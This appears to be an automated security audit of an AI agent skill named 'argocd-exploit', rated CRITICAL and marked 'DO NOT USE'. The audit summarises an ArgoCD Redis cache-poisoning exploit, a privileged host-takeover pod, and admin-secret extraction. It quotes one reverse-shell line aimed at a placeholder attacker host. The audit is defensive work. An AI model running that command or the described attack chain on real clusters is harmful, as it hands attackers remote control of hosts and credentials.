argocd-exploit
Fail
Audited by Gen Agent Trust Hub on Apr 22, 2026
Risk Level: CRITICALREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONCREDENTIALS_UNSAFE
Full Analysis
- [REMOTE_CODE_EXECUTION]: Provides a functional Python exploit script for CVE-2024-31989 that connects to unauthenticated Redis instances to poison cached Kubernetes manifests.
- [COMMAND_EXECUTION]: Includes a weaponized Kubernetes Pod manifest (Deployment) designed for host takeover, featuring a reverse shell command (bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1), host networking, and privileged container execution.
- [CREDENTIALS_UNSAFE]: Provides direct instructions for extracting administrative passwords from the argocd-initial-admin-secret using kubectl commands.
- [COMMAND_EXECUTION]: Includes scripts to perform automated scanning for unauthenticated ArgoCD API endpoints and Redis services.
- [COMMAND_EXECUTION]: Documents post-exploitation methods for creating malicious ArgoCD applications to deploy attacker-controlled manifests into the cluster.
- [REMOTE_CODE_EXECUTION]: An automated scanner detected a reverse shell pattern and flagged the exploit references as a Trojan (Python:Agent-AKS).
Recommendations
- CRITICAL: 1 infected file(s) detected - DO NOT USE
- AI detected serious security threats
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